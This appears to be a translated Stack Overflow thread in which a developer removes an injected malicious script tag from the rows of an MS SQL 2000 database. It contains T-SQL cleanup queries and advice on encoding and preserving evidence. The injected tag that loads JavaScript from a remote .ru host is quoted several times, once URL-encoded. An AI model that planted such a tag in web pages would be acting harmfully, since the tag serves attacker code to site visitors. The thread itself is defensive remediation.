【问题标题】:Not able to remove injected script from database rows无法从数据库行中删除注入的脚本
【发布时间】:2009-10-29 16:18:53
【问题描述】:

我收到了一个已注入恶意软件的 MS SQL 2000 数据库。 恶意软件脚本如下:

<script src=http://www.someAddress.ru/aScript.js></script>

现在我想从表格行中删除这段代码。

作为测试,我连续输入

Test

,成功运行如下查询:

UPDATE myTable
SET description = REPLACE (description, '<h1>','')
WHERE id = 2;

这删除了 ​​h1 标记。

但是对脚本标签尝试同样的方法是行不通的:

UPDATE myTable
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','')
WHERE id = 2

为什么这不起作用?

更新 2
哇!我找到了解决方案! 我正在使用我在这里找到的以下代码:http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3

-- Look for open and close HTML tags making sure a letter or / follows < ensuring its an opening
-- HTML tag or closing HTML tag and not an unencoded < symbol
CREATE FUNCTION [dbo].[udf_StripHTML]
    (@HTMLText VARCHAR(8000))
RETURNS VARCHAR(8000)
            AS
    BEGIN
    DECLARE @Start  INT
    DECLARE @End    INT
    DECLARE @Length INT
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
    WHILE @Start > 0 
                AND @End > 0 
            AND @Length > 0
        BEGIN
        SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'')
        SET @Start = CHARINDEX('<',@HTMLText)
        SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText))
        SET @Length = (@End - @Start) + 1
        END
    RETURN Replace(LTRIM(RTRIM(@HTMLText)),'&nbsp;',' ')
    END
GO

要删除 HTML 标记/脚本,我运行以下查询:

UPDATE mytable
SET description = [dbo].[udf_StripHTML](description)
//WHERE id = 35;

这非常有效。请注意,此脚本会删除所有 html。因此,如果我只想删除 ,我只需将 '

【问题讨论】:

  • 我的第一个想法是换行......

标签: sql sql-server tsql sql-server-2000 sql-update


【解决方案1】:

您是否尝试过只查找 aScript.js,该条目可能是 url_encoded 或类似的,所以它给出了类似的东西

%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E

重读问题

您的意思是即使您在 id=2 的列中有脚本标记,它也不起作用?因为如果它不工作,你确定它存在于 id=2 的行中吗? :p

【讨论】:

  • 在服务器管理器中执行 SELECT 以明文形式显示文本
  • "从 id = 2 的文档中选择描述" --->
【解决方案2】:

应该可以工作,除非那里有其他你看不到的隐藏字符,或者正在进行某种形式的编码。你能选择一个可疑的行来更仔细地查看吗?

如果可能,我会倾向于完全DELETE FROM myTable WHERE description LIKE '%someAddress.ru%'

但是,修复数据库并不是真正的解决方案;应用程序必须是固定的。它不应该在未编码的数据库中回显文本。如果有人输入了包括字符串&lt;script&gt; 在内的一些数据,它应该只是以文字字符串&lt;script&gt; 的形式出现在页面上,或者在源代码&amp;lt;script&gt; 中出现。

【讨论】:

  • 我知道该应用程序必须修复。这只是一个快速而肮脏的修复,让网站重新启动并运行。我无法删除这些行,因为 95% 的所有表行都有这个脚本。我只需要删除脚本。
  • 哦,除此之外,您还进行了 SQL 注入?哎哟。如果它类似于自动 Asprox 攻击,如果您将未修复的应用程序备份,您将立即再次拥有。
【解决方案3】:

src 属性值不会用引号括起来吗?如果是这样,您将不得不转义它们以获得正确的替换匹配。

【讨论】:

    【解决方案4】:

    为什么不试试:

    UPDATE myTable
    set description = REPLACE (description, 'www.someAddress.ru','localhost')
    WHERE id = 2
    

    这将消除直接的劫持问题,并可能避免换行/时髦字符问题。

    【讨论】:

    • 是的,这是一种选择。但我找到了删除整个脚本链接的解决方案。请参阅上面的解决方案。
    【解决方案5】:

    您可以尝试以下方法将代码从您的字段中删除(我假设您在要保留的同一字段中有信息):

    update myTable
    set description = case when PATINDEX('%<script%', notes) > 0 
            then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes))
            else notes
            end
    where id=2
    

    在运行更新之前,您可以先运行 select 以查看 CASE 语句返回的值是否正确。不过,它不应该影响其中没有脚本标记的字段。

    【讨论】:

    • 啊,谢谢。在我找到自己的解决方案之前没有看到这个。
    【解决方案6】:

    等等……

    数据库是否与金融系统相关?该申请是否符合 Sarbanes-Oxley 法案?是否有任何欺诈行为?

    任何这些都会阻止您做出会“破坏证据”的更改。那些外套上带着“FBI”到处乱跑的小家伙可不客气。现在备份它和日志(SQL 和 Web),并将该备份放在几张 DVD 上,这将是一件好事。最好将磁盘移除并放入另一个磁盘(但这可能不是一种选择)。

    继续清洁: bobince的方向是正确的。不要寻找整个 SCRIPT 标签,或尝试寻找变体。相反,在脚本标签中查找不属于正常数据集的内容。这就是你关闭的内容。如果 SELECT 正常,则将其转换为 DELETE 并保存该查询,因为在修复应用程序时需要它(保证您的数据库将再次损坏)。

    【讨论】:

    • Sarbanes-Oxley:如果运行这个应用程序的公司是公开交易的,那么很有可能它被 SOx 覆盖。如果应用程序以任何方式被审计,那么审计人员将需要知道发生了什么。呃,然后是变更控制……
    • 我需要有关解决方案的建议。如果您阅读我对 bobince 的评论,我将无法删除任何行。
    • 哦,好吧,尝试自己解决这个问题很有趣。
    猜你喜欢
    • 1970-01-01
    • 2018-06-23
    • 1970-01-01
    • 1970-01-01
    • 2010-09-08
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多